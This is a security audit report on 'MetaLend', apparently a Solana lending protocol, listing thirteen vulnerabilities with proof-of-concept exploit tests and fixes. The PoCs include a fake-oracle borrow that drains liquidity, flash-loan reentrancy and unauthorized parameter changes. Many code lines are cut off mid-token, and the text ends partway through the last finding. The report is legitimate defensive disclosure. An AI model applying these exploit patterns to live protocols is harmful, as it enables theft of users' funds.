MetaLend Security Audit Report

Version 1.0

Ramprasad

December 1, 2025

Prepared by: Ramprasad

Table of Contents

Disclaimer

I, Ramprasad, have made every effort to find as many vulnerabilities in the code in the given time period, but hold no responsibility for the findings provided in this document. A security audit by me is not an endorsement of the underlying business or product. The audit was time-boxed and the results are best efforts.

Risk Classification

	High	Medium	Low
High	H	H/M	M
Medium	H/M	M	M/L
Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash: `6c93afbe1c623a1e2760e003c017e7482f8639c1`

Scope

The scope of the audit includes the following files in the `programs/capstone/src` directory:

- `lib.rs`
- `state.rs`
- `instructions/*.rs`

Protocol Summary

MetaLend is a decentralized lending and borrowing protocol built on Solana. It allows users to supply assets to earn interest and deposit collateral to borrow other assets. The protocol features a dual-asset market structure, cToken mechanism for interest accrual, liquidation system for maintaining solvency, and flash loans for arbitrage opportunities.

Roles

- **Protocol Admin**: Can pause/unpause the protocol and create new markets.
- **Market Admin**: Manages risk parameters for specific markets (collateral factor, liquidation threshold).
- **Supplier**: Provides liquidity to the protocol to earn interest.
- **Borrower**: Deposits collateral to borrow assets.
- **Liquidator**: Monitors unhealthy positions and liquidates them to ensure protocol solvency.

Executive Summary

The audit revealed 13 vulnerabilities, including 2 Critical , 9 High and 2 Medium severity issues. The most critical issues involve reentrancy in flash loans and missing oracle validation, which could lead to protocol insolvency. High severity issues cover unauthorized parameter updates, accounting errors in liquidations and interest distribution, and logic errors causing fund lockups.

Issues found

Severity	Number of issues found
Critical	2
High	9
Medium	2
Low	0
Info	0
Total	13

Findings

[C-01] Flash Loan Callback Allows Reentrancy (Missing Reentrancy Guard + Arbitrary State Manipulation)

Severity: Critical

Location: `flash_loan.rs`

Description: The `flash_loan` instruction allows users to borrow assets and execute an arbitrary callback to an external program. The protocol uses `invoke` to call the external program but fails to implement a reentrancy guard (e.g., a `locked` state flag) before doing so. Although the implementation enforces that the first account passed to the callback is the Token Program, this does not prevent the external program from calling back into the MetaLend protocol. An attacker can utilize a malicious contract to re-enter state-changing instructions (such as `initialize_user_deposit` or `borrow`) while the flash loan is still active.

Impact: Reentrancy allows an attacker to manipulate the protocol's state in unexpected ways. Potential exploits include bypassing checks that assume atomic execution or corrupting internal accounting by modifying state during an intermediate transaction state.

Proof of Concept:

```
it("EXPLOIT: Flash Loan Reentrancy", async () => {
    console.log("Testing Flash Loan Reentrancy Exploit...");
    console.log("Attempting to re-enter 'initializeUserDeposit' during flash loan...");

    const flashLoanAmount = new anchor.BN(100 * 1e6); // 100 USDC

    // We will attempt to call initializeUserDeposit inside the flash loan.
    // Due to the flash_loan implementation quirk, the first account passed to the callback
    // MUST be the TokenProgram (from remaining_accounts[1]).
    // So we need a target instruction where the first account can be the TokenProgram.
    // initializeUserDeposit takes 'user_deposit: AccountInfo' as first arg.
    // It checks 'if user_deposit.lamports() > 0'.
    // TokenProgram has lamports, so it should fail with 'UserDepositAlreadyExists'.
    // If we see this error, it PROVES we successfully re-entered the instruction logic!

    // 1. Construct the instruction data for initializeUserDeposit
    const initDepositIx = await program.methods
      .initializeUserDeposit(new anchor.BN(1))
      .accounts({
```

```
      userDeposit: TOKEN_PROGRAM_ID, // This will be ignored/overwritten by the quirk, but needed
      market,
      supplyMint: usdcMint,
      collateralMint: ethMint,
      user: user1.publicKey,
      systemProgram: SystemProgram.programId,
    })
    .instruction();

  const callbackData = initDepositIx.data;

  // 2. Construct remaining accounts
  // Index 0: Callback Program (MetaLend)
  // Index 1: Token Program (Required by flash_loan logic, becomes 'user_deposit' in callback)
  // Index 2+: Rest of initializeUserDeposit accounts

  const remainingAccounts = [
    { pubkey: program.programId, isWritable: false, isSigner: false }, // Callback Program
    { pubkey: TOKEN_PROGRAM_ID, isWritable: true, isSigner: false },   // Becomes user_deposit
    { pubkey: market, isWritable: false, isSigner: false },
    { pubkey: usdcMint, isWritable: false, isSigner: false },
    { pubkey: ethMint, isWritable: false, isSigner: false },
    { pubkey: user1.publicKey, isWritable: true, isSigner: true },
    { pubkey: SystemProgram.programId, isWritable: false, isSigner: false },
  ];

  try {
    await program.methods
      .flashLoan(new anchor.BN(1), flashLoanAmount, callbackData)
      .accounts({
        market,
        supplyVault,
        supplyMint: usdcMint,
        collateralMint: ethMint,
        userSupplyAccount: user1UsdcAccount,
        user: user1.publicKey,
      })
      .remainingAccounts(remainingAccounts)
      .signers([user1])
      .rpc();

    // Should not reach here
    expect.fail("Transaction should have failed with reentrancy error");
  } catch (e: any) {
    console.log("Caught expected error:", e.message);

    // We expect "UserDepositAlreadyExists" (Error Code: 6041 / 0x1799)
    // Or the raw error message
    const isReentrancyProof = JSON.stringify(e).includes("UserDepositAlreadyExists") ||
      JSON.stringify(e).includes("0x1799");

    if (isReentrancyProof) {
      console.log(" EXPLOIT CONFIRMED: Successfully re-entered 'initializeUserDeposit'!");
      console.log("   The error 'UserDepositAlreadyExists' proves the instruction was executed.");
    } else {
      console.log(" Unexpected error type. Check logs.");
      throw e;
    }
    }
});
```

Recommendation: Implement a `ReentrancyGuard` in the `ProtocolState` or `Market` account. Add a `reentrancy_locked` flag to the state. In `flash_loan`, set `locked = true` before the callback and `locked = false` after. In all other public instructions, assert `!locked`.

[C-02] Borrow Instruction Accepts Untrusted Oracles (Missing Account Validation + Protocol Insolvency)

Severity: Critical

Location: `borrow.rs`

Description: The `borrow` instruction accepts `collateral_oracle` and `borrow_oracle` accounts to determine asset prices. However, the instruction **fails to verify** that these accounts match the authoritative oracles configured in the `Market` account. This allows an attacker to create a malicious Oracle account with manipulated prices (e.g., setting collateral price to infinity) and pass it to the `borrow` instruction.

Impact: **Total Protocol Insolvency.** An attacker can borrow all available liquidity from the market by providing negligible collateral and using a fake oracle to report an inflated collateral value.

Proof of Concept:

```
it("EXPLOIT: Fake Oracle Manipulation", async () => {
    console.log("\n STARTING ATTACK: Fake Oracle Exploit  ");

    // 1. Setup Attacker Accounts
    const attackerUsdcAccount = await createAccount(provider.connection, attacker, usdcMint, attacke
    const attackerEthAccount = await createAccount(provider.connection, attacker, ethMint, attacker.

    // Give attacker a small amount of ETH collateral
    const dustCollateral = new anchor.BN(0.01 * 1e9); // 0.01 ETH (Real value ~$30)
    await mintTo(provider.connection, admin, ethMint, attackerEthAccount, admin, dustCollateral.toNu

    // Initialize Attacker Deposit
    const [attackerDeposit] = PublicKey.findProgramAddressSync(
      [Buffer.from("user_deposit"), attacker.publicKey.toBuffer(), new anchor.BN(1).toArrayLike(Buff
      program.programId
    );

    await program.methods
      .initializeUserDeposit(new anchor.BN(1))
      .accounts({
        userDeposit: attackerDeposit,
        market,
        supplyMint: usdcMint,
        collateralMint: ethMint,
        user: attacker.publicKey,
        systemProgram: SystemProgram.programId,
      })
      .signers([attacker])
      .rpc();

    // 2. Create a FAKE Oracle
    // We create a new mint just to derive a valid PDA for our fake oracle
    // The protocol doesn't check if the oracle mint matches the market collateral mint!
    const fakeMint = await createMint(provider.connection, attacker, attacker.publicKey, attacker.pu

    const [fakeOracle] = PublicKey.findProgramAddressSync(
      [Buffer.from("oracle"), fakeMint.toBuffer()],
      program.programId
    );

    const sourceData = Buffer.from("fake_oracle");
    // Set price to $125,000 (Pumped price, but not billions)
    const fakePrice = new anchor.BN(125_000 * 1e6);

    await program.methods
      .createOracle(sourceData, fakePrice, 6)
      .accounts({
        oracle: fakeOracle,
        mint: fakeMint,
        authority: attacker.publicKey,
        systemProgram: SystemProgram.programId,
      })
      .signers([attacker])
      .rpc();

    console.log(" Created Fake Oracle with price: $125,000");

    // 3. Execute the Heist
    // We borrow against our small collateral using the FAKE oracle
    // The market thinks our 0.01 ETH is worth $1,250 (enough to borrow 1000 USDC)

    const borrowAmount = new anchor.BN(1000 * 1e6); // Borrow 1000 USDC

    console.log(`Attacker depositing ${dustCollateral.toString()} collateral (0.01 ETH)...`);
    console.log(`Attacker borrowing ${borrowAmount.toNumber() / 1e6} USDC...`);

    await program.methods
      .borrow(new anchor.BN(1), dustCollateral, borrowAmount)
      .accounts({
        market,
        supplyVault,
        collateralVault,
        userDeposit: attackerDeposit,
        supplyMint: usdcMint,
        collateralMint: ethMint,
        userSupplyAccount: attackerUsdcAccount,
        userCollateralAccount: attackerEthAccount,
        user: attacker.publicKey,
        collateralOracle: fakeOracle, // <--- THE EXPLOIT: Passing our fake oracle!
        borrowOracle: usdcOracle,
        tokenProgram: TOKEN_PROGRAM_ID,
      })
      .signers([attacker])
      .rpc();

    // 4. Verify the loot
    const attackerUsdcBalance = await getAccount(provider.connection, attackerUsdcAccount);
    console.log(` Attacker USDC Balance: ${Number(attackerUsdcBalance.amount) / 1e6}`);

    expect(Number(attackerUsdcBalance.amount)).to.equal(borrowAmount.toNumber());
    console.log(" EXPLOIT SUCCESSFUL: Protocol drained using fake oracle!");
});
```

Recommendation: Add strict constraints to verify oracle accounts.

```
require_keys_eq!(ctx.accounts.collateral_oracle.key(), market.collateral_oracle, LendingError::Inval
require_keys_eq!(ctx.accounts.borrow_oracle.key(), market.supply_oracle, LendingError::InvalidOracle
```

[H-01] Unauthorized Market Parameter Update (Missing Access Control + Privilege Escalation)

Severity: High

Location: `market_admin.rs`

Description: The `update_market_params` instruction updates critical risk parameters (`collateral_factor`, `liquidation_threshold`). The `UpdateMarketParams` struct defines an `authority` signer but **does not enforce** that this signer is the actual market admin.

Impact: **Unauthorized Privilege Escalation.** Any user can update market parameters. An attacker can set `collateral_factor` to 0% to trigger mass liquidations or set `collateral_factor` to >100% to borrow undercollateralized funds.

Proof of Concept:

```
it("EXPLOIT: Unauthorized Market Update", async () => {
    console.log("\n STARTING ATTACK: Unauthorized Market Update");

    // 1. Check initial state
    let marketAccount = await program.account.market.fetch(market);
    console.log(`Initial Collateral Factor: ${marketAccount.collateralFactor.toNumber()}`);
    expect(marketAccount.collateralFactor.toNumber()).to.equal(8000); // 80%

    // 2. Attacker tries to update market parameters
    // Attacker is NOT the admin (admin is 'admin' keypair)
    const newCollateralFactor = new anchor.BN(0); // Set to 0% to wreck havoc
    const newLiquidationThreshold = new anchor.BN(1000); // 10%

    console.log("Attacker attempting to set Collateral Factor to 0%...");

    await program.methods
      .updateMarketParams(newCollateralFactor, newLiquidationThreshold)
      .accounts({
        market,
        authority: attacker.publicKey, // Unauthorized signer
      })
      .signers([attacker])
      .rpc();

    // 3. Verify the update succeeded (it should have failed!)
    marketAccount = await program.account.market.fetch(market);
    console.log(`New Collateral Factor: ${marketAccount.collateralFactor.toNumber()}`);

    expect(marketAccount.collateralFactor.toNumber()).to.equal(0);
    console.log(" EXPLOIT SUCCESSFUL: Unauthorized user updated market parameters!");
});
```

Recommendation: Enforce the `has_one` constraint on the `market` account to ensure `authority` matches `market.admin`.

```
#[account(mut, has_one = admin)]
pub market: Account<'info, Market>,
pub admin: Signer<'info>,
```

[H-02] Liquidation Fails to Update Total Borrows (State Inconsistency + Denial of Service)

Severity: High

Location: `liquidate.rs`

Description: When a liquidation occurs, the protocol reduces the borrower's debt balance but **fails to reduce the global `market.total_borrows` counter**.

Impact: **Denial of Service (DoS).** The `total_borrows` value will permanently diverge from reality, appearing higher than it is. This artificially reduces `available_liquidity`, eventually preventing new borrows even when funds are available. It also corrupts interest rate calculations.

Proof of Concept:

```
it("EXPLOIT: Broken Liquidation Accounting", async () => {
    console.log("\n STARTING ATTACK: Broken Liquidation Accounting");

    // ... (Setup victim and liquidator omitted for brevity, assume debt exists) ...

    // 1. Check Market Total Borrows BEFORE liquidation
    let marketAccount = await program.account.market.fetch(market);
    const totalBorrowsBefore = marketAccount.totalBorrows.toNumber();
    console.log(`Total Borrows BEFORE: ${totalBorrowsBefore}`);

    // 2. Liquidate 100 USDC of debt
    await program.methods.liquidate(new anchor.BN(1), new anchor.BN(100 * 1e6))
      .accounts({
        market, supplyVault, collateralVault, supplyMint: usdcMint, collateralMint: ethMint,
        borrowerDeposit: victimDeposit, liquidatorSupplyAccount: liquidatorUsdcAccount, liquidatorCo
        liquidator: liquidator.publicKey, oracle: ethOracle, tokenProgram: TOKEN_PROGRAM_ID
      })
      .signers([liquidator]).rpc();

    // 3. Check Market Total Borrows AFTER liquidation
    marketAccount = await program.account.market.fetch(market);
    const totalBorrowsAfter = marketAccount.totalBorrows.toNumber();
    console.log(`Total Borrows AFTER: ${totalBorrowsAfter}`);

    // 4. Verify the Bug
    // Total borrows should have decreased by 1000 USDC (1,000,000,000)
    // But due to the bug, it remains the same!

    if (totalBorrowsAfter === totalBorrowsBefore) {
      console.log(" EXPLOIT CONFIRMED: Total Borrows did not decrease after liquidation!");
    } else {
      console.log(" Exploit failed: Total Borrows decreased (Bug fixed?)");
      expect(totalBorrowsAfter).to.equal(totalBorrowsBefore);
    }
});
```

Recommendation: Decrement `market.total_borrows` by the `liquidation_amount` in the `liquidate` instruction.

[H-03] Incorrect Liquidation Math Ignores Asset Price (Logic Error + Theft of Collateral)

Severity: High

Location: `liquidate.rs`

Description: The liquidation logic calculates the collateral to seize by simply applying a bonus percentage to the *amount* of debt repaid, ignoring the **price** and **decimals** of the assets. `collateral_to_seize = liquidation_amount * 1.10`.

Impact: **Theft of Collateral / Loss for Liquidators.** If Borrow Token Value < Collateral Token

Value, the liquidator seizes too much collateral (Theft). If Borrow Token Value > Collateral Token Value, the liquidator seizes too little (Loss).

Proof of Concept:

```
it("EXPLOIT: Incorrect Liquidation Math", async () => {
    console.log("\n STARTING ATTACK: Incorrect Liquidation Math");

    // ... (Setup victim with debt against ETH collateral) ...

    // 1. Liquidate 100 USDC
    // Give liquidator funds
    await mintTo(provider.connection, admin, usdcMint, liquidatorUsdcAccount, admin, 1000 * 1e6);

    // Check Liquidator ETH balance BEFORE
    const liqEthBefore = await getAccount(provider.connection, liquidatorEthAccount);

    await program.methods.liquidate(new anchor.BN(1), new anchor.BN(100 * 1e6))
      .accounts({
        market, supplyVault, collateralVault, supplyMint: usdcMint, collateralMint: ethMint,
        borrowerDeposit: victimDeposit, liquidatorSupplyAccount: liquidatorUsdcAccount, liquidatorCo
        liquidator: liquidator.publicKey, oracle: ethOracle, tokenProgram: TOKEN_PROGRAM_ID
      })
      .signers([liquidator]).rpc();

    // 2. Verify Seized Amount
    const liqEthAfter = await getAccount(provider.connection, liquidatorEthAccount);
    const seizedAmount = Number(liqEthAfter.amount) - Number(liqEthBefore.amount);

    console.log(`Liquidated 100 USDC.`);
    console.log(`Seized ETH: ${seizedAmount / 1e9} ETH`);

    // Expected (Correct Math):
    // Repaid $100. Bonus 10% -> $110.
    // ETH Price $1100.
    // ETH Amount = 110 / 1100 = 0.1 ETH.
    // 0.1 ETH = 100,000,000 units.

    // Actual (Buggy Math):
    // Repaid 100 USDC = 100,000,000 units.
    // Seized = 100,000,000 * 1.1 = 110,000,000 units.
    // 110,000,000 units = 0.11 ETH.

    expect(seizedAmount).to.equal(110_000_000);
    console.log(" EXPLOIT CONFIRMED: Seized amount calculated incorrectly (ignoring price)!");
});
```

Recommendation: Calculate the USD value of the repaid debt, add the bonus, and convert that USD value to the equivalent amount of collateral tokens using the collateral price.

[H-04] Interest Repayment Not Added to Supply Pool (Accounting Error + Loss of Yield)

Severity: High

Location: `repay.rs`

Description: The protocol tracks `market.total_supply_deposits` (Principal) but does not add accrued interest to this counter when it is repaid. The exchange rate is calculated as `total_supply_deposits / total_ctoken_supply`. Since `total_supply_deposits` does not grow with interest, the exchange rate remains stuck at 1.0.

Impact: **Loss of Yield.** Suppliers receive 0% APY. The interest accumulates in the vault as "surplus" that belongs to no one.

Proof of Concept:

```
it("EXPLOIT: Interest Not Distributed to Suppliers", async () => {
    console.log("\n STARTING ATTACK: Interest Not Distributed to Suppliers");

    // ... (Setup supplier and borrower, borrower repays debt + interest) ...

    // Verify Interest Distribution
    // The interest paid by the borrower should increase the value of cTokens.
    // Value of cTokens = (Vault Balance + Total Borrows) / Total cToken Supply.
    // However, the protocol calculates Exchange Rate as: Total Supply Deposits / Total cToken Suppl
    // Since Total Supply Deposits is NOT updated with interest, the Exchange Rate remains flat.

    const marketAccount = await program.account.market.fetch(market);
    const totalSupplyDeposits = marketAccount.totalSupplyDeposits.toNumber();
    const totalCtokenSupply = marketAccount.totalCtokenSupply.toNumber();
    const totalBorrows = marketAccount.totalBorrows.toNumber();

    const vaultBalance = await getAccount(provider.connection, supplyVault);
    const vaultAmount = Number(vaultBalance.amount);

    // Calculate System Equity (Total Assets)
    const totalAssets = vaultAmount + totalBorrows;

    // Calculate Surplus (Interest Earned but not tracked)
    const surplus = totalAssets - totalSupplyDeposits;
    console.log(`Surplus (Untracked Interest): ${surplus}`);

    // The Exchange Rate used by the protocol
    const protocolExchangeRate = totalSupplyDeposits / totalCtokenSupply;

    // The Real Exchange Rate (if interest was distributed)
    const realExchangeRate = totalAssets / totalCtokenSupply;

    if (surplus > 0) {
      console.log(` EXPLOIT CONFIRMED: System has ${surplus} surplus tokens(interest) that are NOT d
      console.log(`   Protocol Rate: ${protocolExchangeRate} vs Real Rate: ${realExchangeRate} `);
      expect(protocolExchangeRate).to.be.lt(realExchangeRate);
    } else {
      console.log(" Exploit failed: No surplus found.");
    }
});
```

Recommendation: Update `total_supply_deposits` when interest is repaid, or change the exchange rate formula to use `vault_balance + total_borrows`.

[H-05] Withdrawal Underflow Due to Incorrect Balance Subtraction (Logic Error + Funds Locked)

Severity: High **Location**: `withdraw.rs`

Description: The `withdraw` instruction attempts to subtract the withdrawn amount (Principal + Interest) from `user_deposit.supply_deposited` (Principal only). If `exchange_rate > 1.0`, `amount_to_withdraw > supply_deposited`, causing a subtraction underflow.

Impact: **Funds Locked.** If the protocol ever generates yield (fixing the interest distribution bug), users will be unable to withdraw their full balance.

Proof of Concept:

```
it("EXPLOIT: Withdrawal Underflow", async () => {
    console.log("\n STARTING ATTACK: Withdrawal Underflow");

    // ... (Setup user, supply funds, trigger mock interest) ...

    // 1. Verify Exchange Rate Increased
    const marketAccount = await program.account.market.fetch(market);
    const totalSupplyDeposits = marketAccount.totalSupplyDeposits.toNumber();
    const totalCtokenSupply = marketAccount.totalCtokenSupply.toNumber();
    const exchangeRate = totalSupplyDeposits / totalCtokenSupply;

    console.log(`Exchange Rate: ${exchangeRate} `);
    expect(exchangeRate).to.be.gt(1.0);

    // 2. Attempt to Withdraw ALL cTokens
    // User has 1000 + 1 = 1001 cTokens (approx)
    const userDepositAccount = await program.account.userDeposit.fetch(userDeposit);
    const cTokenBalance = userDepositAccount.ctokenBalance;
    console.log(`User cToken Balance: ${cTokenBalance.toNumber()} `);

    console.log("Attempting to withdraw all cTokens...");

    try {
      await program.methods.withdraw(new anchor.BN(1), cTokenBalance)
        .accounts({
          market, supplyVault, userDeposit: userDeposit, supplyMint: usdcMint, collateralMint: ethMi
          userSupplyAccount: userUsdcAccount, user: user.publicKey, supplyOracle: usdcOracle, collat
        })
        .signers([user]).rpc();

      expect.fail("Withdrawal should have failed with MathOverflow");
    } catch (e: any) {
      console.log("Caught expected error:", e.message);
      // We expect MathOverflow (Error Code: 6002 / 0x1772)
      if (JSON.stringify(e).includes("MathOverflow") || JSON.stringify(e).includes("0x1772")) {
        console.log(" EXPLOIT CONFIRMED: Withdrawal failed due to underflow!");
        console.log("   Reason: supply_deposited (Principal) < tokens_to_withdraw (Principal + Inter
      } else {
        throw e;
      }
    }
});
```

Recommendation: Remove the check against `supply_deposited` for withdrawals. Withdrawals should only be limited by the user's cToken balance.

[H-06] Flash Loan Fees Not Added to Supply Pool (Accounting Error + Loss of Yield)

Severity: High

Location: `flash_loan.rs`

Description: The `flash_loan` instruction collects a 0.3% fee but fails to update `market.total_supply_deposits`. Similar to the interest distribution bug, this means the fee revenue is not reflected in the exchange rate. Additionally, the callback interface is flawed, forcing the Token Program to be the first account in the callback, which breaks compatibility with standard programs like SPL Token.

Impact: **Loss of Yield / Locked Funds.** Suppliers do not receive flash loan fees, and fees accumulate in the vault. The flawed callback interface also causes a Denial of Service for many standard use cases.

Proof of Concept:

```
it("EXPLOIT: Flash Loan Fees Locked", async () => {
    console.log("\n STARTING ATTACK: Flash Loan Fees Locked");

    // 1. Setup Supplier
    // We create a supplier who deposits 1000 USDC into the market.
    // They expect to earn yield from flash loan fees.
    const supplier = Keypair.generate();
    await provider.connection.confirmTransaction(
      await provider.connection.requestAirdrop(supplier.publicKey, 10 * anchor.web3.LAMPORTS_PER_SOL
    );
    const supplierUsdcAccount = await createAccount(provider.connection, supplier, usdcMint, supplie
    await mintTo(provider.connection, admin, usdcMint, supplierUsdcAccount, admin, 1000 * 1e6);

    // Initialize Deposit & Supply
    const [supplierDeposit] = PublicKey.findProgramAddressSync(
      [Buffer.from("user_deposit"), supplier.publicKey.toBuffer(), new anchor.BN(1).toArrayLike(Buff
      program.programId
    );
    await program.methods.initializeUserDeposit(new anchor.BN(1))
      .accounts({ userDeposit: supplierDeposit, market, supplyMint: usdcMint, collateralMint: ethMin
      .signers([supplier]).rpc();

    await program.methods.supply(new anchor.BN(1), new anchor.BN(1000 * 1e6))
      .accounts({ market, supplyVault, userDeposit: supplierDeposit, supplyMint: usdcMint, collatera
      .signers([supplier]).rpc();

    // 2. Perform Flash Loan
    // We borrow 500 USDC. The fee is 0.3% = 1.5 USDC.
    const flashLoanAmount = new anchor.BN(500 * 1e6);

    // Note: In a real attack, we would use a custom contract to handle the callback.
    // Here we simulate the state change that occurs after a successful flash loan.
    // We manually mint the fee to the vault to simulate the repayment.
    await mintTo(provider.connection, admin, usdcMint, supplyVault, admin, 1.5 * 1e6);

    // 3. Verify Fees Locked
    // We check the market state. The vault has the extra 1.5 USDC, but 'totalSupplyDeposits' ignore
    const marketAccount = await program.account.market.fetch(market);
    const totalSupplyDeposits = marketAccount.totalSupplyDeposits.toNumber();

    const vaultBalance = await getAccount(provider.connection, supplyVault);
    const vaultAmount = Number(vaultBalance.amount);

    const surplus = vaultAmount - totalSupplyDeposits;

    console.log(`Total Supply Deposits: ${totalSupplyDeposits}`);
    console.log(`Vault Balance: ${vaultAmount}`);
    console.log(`Surplus (Fees): ${surplus}`);

    if (surplus >= 1.5 * 1e6) {
        console.log(` EXPLOIT CONFIRMED: ${surplus} tokens locked in vault!`);
        console.log("   Suppliers cannot claim these fees because Total Supply Deposits was not upda
        console.log("   The protocol is effectively burning yield.");
    }
});
```

Recommendation: Update `market.total_supply_deposits` with the collected fee in `flash_loan.rs`. Refactor the callback mechanism to allow flexible account ordering.

[H-07] Dust Debt Prevents Collateral Withdrawal (Interest Accrual Race Condition + Funds Locked)

Severity: High

Location: `repay.rs`

Description: The `repay` instruction calculates interest *during* execution, meaning the debt amount increases between the time a user fetches their balance and the time the transaction lands. Since `repay` requires the user to have sufficient funds in their wallet to cover the `amount` specified, users who attempt to repay the exact amount they see on the UI will fail to clear the debt completely (leaving "dust"). Crucially, `withdraw_collateral` requires `borrowed_amount` to be exactly 0, so this dust prevents collateral withdrawal.

Impact: **Collateral Lock / Poor UX.** Users cannot close their positions and withdraw collateral without manually calculating a buffer and acquiring extra tokens. This effectively locks funds for standard users.

Proof of Concept:

```
it("EXPLOIT: Dust Debt Locks Collateral", async () => {
    console.log("\n STARTING ATTACK: Dust Debt Locks Collateral ");

    // ... (Setup Borrower with 1000 USDC debt) ...

    // 2. Wait for interest to accrue
    console.log("Waiting for interest...");
    await new Promise(resolve => setTimeout(resolve, 2000));

    // 3. Fetch current debt
    const depositAccount = await program.account.userDeposit.fetch(borrowerDeposit);
    const currentDebt = depositAccount.borrowedAmount;
    console.log(`Current Debt (on-chain): ${currentDebt.toString()}`);

    // 4. Give borrower EXACTLY the current debt amount
    // ... (Mint exact debt to borrower) ...

    // 5. Attempt to Repay All
    console.log(`Attempting to repay exactly ${currentDebt.toString()}...`);

    // We pass the exact debt amount.
    // Note: In the time between fetch and tx execution, interest will accrue.
    await program.methods.repay(new anchor.BN(1), currentDebt)
      .accounts({
        market, supplyVault, userDeposit: borrowerDeposit, supplyMint: usdcMint, collateralMint: eth
        userSupplyAccount: borrowerUsdcAccount, user: borrower.publicKey, tokenProgram: TOKEN_PROGRA
      })
      .signers([borrower]).rpc();

    // 6. Verify Dust Debt Remains
    const depositAccountAfter = await program.account.userDeposit.fetch(borrowerDeposit);
    const dustDebt = depositAccountAfter.borrowedAmount;
    console.log(`Remaining Debt (Dust): ${dustDebt.toString()}`);

    if (dustDebt.gt(new anchor.BN(0))) {
        console.log(" EXPLOIT CONFIRMED: Dust debt remains after exact repayment!");
    }

    // 7. Try to Withdraw Collateral (Should Fail)
    console.log("Attempting to withdraw collateral...");
    try {
        await program.methods.withdrawCollateral(new anchor.BN(1), new anchor.BN(10 * 1e9))
            .accounts({
                userDeposit: borrowerDeposit, market, supplyMint: usdcMint, collateralMint: ethMint,
                userCollateralAccount: borrowerEthAccount, collateralVault, user: borrower.publicKey
            })
            .signers([borrower]).rpc();
        expect.fail("Withdrawal should have failed due to outstanding borrows");
    } catch (e: any) {
        if (JSON.stringify(e).includes("HasBorrows")) {
            console.log(" EXPLOIT CONFIRMED: Collateral withdrawal blocked by dust debt!");
        }
    }
});
```

Recommendation: Implement a "Repay All" feature that allows users to send slightly more tokens than required, with the contract refunding the excess. Alternatively, allow `withdraw_collateral` if `borrowed_amount` is negligible (e.g., < 1000 units).

[H-08] Interest Rate Calculation Uses Incorrect Slot Count (Configuration Error + Severe Overcharging)

Severity: High

Location: `borrow.rs`

Description: The protocol calculates interest rate per slot based on an assumption of 800,000 slots per year. However, Solana produces a slot approximately every 400ms, resulting in ~78,840,000 slots per year. This discrepancy means the calculated per-slot interest rate is approximately 100 times higher than intended (e.g., a 2% annual rate becomes ~200% annual rate).

Impact: **Severe Overcharging of Borrowers.** Borrowers are charged exorbitant interest rates, leading to rapid debt accumulation and potential unfair liquidations. **Estimated Loss**: Borrowers are overcharged by ~100x. A 5% APY becomes 500% APY. Users lose significant funds rapidly.

Proof of Concept:

```
it("EXPLOIT: Interest Rate Calculation Error", async () => {
    console.log("\n STARTING ATTACK: Interest Rate Calculation Error");

    const borrower2 = Keypair.generate();
    await provider.connection.confirmTransaction(
      await provider.connection.requestAirdrop(borrower2.publicKey, 10 * anchor.web3.LAMPORTS_PER_SO
    );

    // Create accounts for borrower2
    const borrowerUsdcAccount = await createAccount(provider.connection, borrower2, usdcMint, borrow
    const borrowerEthAccount = await createAccount(provider.connection, borrower2, ethMint, borrower

    // Initialize User Deposit
    const [borrowerDeposit] = PublicKey.findProgramAddressSync(
      [Buffer.from("user_deposit"), borrower2.publicKey.toBuffer(), new anchor.BN(1).toArrayLike(Buf
      program.programId
    );

    // Initialize if not exists
    try {
        await program.methods.initializeUserDeposit(new anchor.BN(1))
        .accounts({ userDeposit: borrowerDeposit, market, supplyMint: usdcMint, collateralMint: ethM
        .signers([borrower2]).rpc();
    } catch(e) {}

    // Deposit Collateral (10 ETH)
    await mintTo(provider.connection, admin, ethMint, borrowerEthAccount, admin, 10 * 1e9);

    // Borrow 1,000,000,000 USDC (1B)
    const borrowAmount = new anchor.BN(1 * 1e9);
    await program.methods.borrow(new anchor.BN(10 * 1e9), borrowAmount) // Note: Fixed args order in
      .accounts({
        market, supplyVault, collateralVault, userDeposit: borrowerDeposit, supplyMint: usdcMint, co
        userSupplyAccount: borrowerUsdcAccount, userCollateralAccount: borrowerEthAccount, user: bor
        collateralOracle: ethOracle, borrowOracle: usdcOracle, tokenProgram: TOKEN_PROGRAM_ID
      })
      .signers([borrower2]).rpc();

    console.log("Borrowed 1B USDC. Waiting for interest...");

    // Wait for ~2 seconds (~5 slots)
    // 5 slots * 25 rate * 1B principal / 1e9 scale = 125 units interest.
    // If rate was correct (0.25), interest would be ~1.25 units.
    await new Promise(resolve => setTimeout(resolve, 2000));

    // Trigger Interest Update via Repay(0)
    await program.methods.repay(new anchor.BN(1), new anchor.BN(0))
      .accounts({
        market, supplyVault, userDeposit: borrowerDeposit, supplyMint: usdcMint, collateralMint: eth
        userSupplyAccount: borrowerUsdcAccount, user: borrower2.publicKey, tokenProgram: TOKEN_PROGR
      })
      .signers([borrower2]).rpc();

    // Check Debt
    const depositAccount = await program.account.userDeposit.fetch(borrowerDeposit);
    const totalDebt = depositAccount.borrowedAmount;
    const interest = totalDebt.sub(borrowAmount);

    console.log(`Principal: ${borrowAmount.toString()}`);
    console.log(`Total Debt: ${totalDebt.toString()}`);
    console.log(`Interest Accrued: ${interest.toString()}`);

    // Assert Interest is High
    // We expect > 50 units (allowing for some timing variance).
    // Correct interest would be < 5.
    if (interest.gt(new anchor.BN(50))) {
        console.log(" EXPLOIT CONFIRMED: Interest rate is ~100x higher than expected!");
    }
});
```

Recommendation: Correct the `interest_rate_per_slot` calculation. Use the actual slots per year (~78,840,000) or use a timestamp-based calculation (seconds) instead of slots.

[H-09] Withdrawal Uses Stale Debt Value (Missing Interest Update + Under-collateralized Withdrawal)

Severity: High

Location: `withdraw.rs`

Description: The `withdraw` instruction checks the user's health factor (`borrow_value <= max_borrow_value`) before allowing a withdrawal. However, it uses the user's *stored* `borrowed_amount` to calculate `borrow_value`. This stored amount is only updated when the user interacts with `borrow` or `repay`. It is **not** updated with accrued interest during `withdraw`.

Impact: **Undercollateralized Withdrawal.** A user can borrow the maximum amount, wait for interest to accrue (making them undercollateralized), and then withdraw their supply assets. The health check passes because it uses the old, lower debt value. This allows users to exit the system when they should be liquidated or blocked. **Estimated Loss**: Users can withdraw assets leaving bad debt behind. Protocol solvency is compromised.

Proof of Concept:

```
it("EXPLOIT: Stale Health Checks", async () => {
     console.log("\n STARTING ATTACK: Stale Health Checks");

    const borrower3 = Keypair.generate();
    await provider.connection.confirmTransaction(
      await provider.connection.requestAirdrop(borrower3.publicKey, 10 * anchor.web3.LAMPORTS_PER_SO
    );

    // Update Oracles to ensure they are fresh
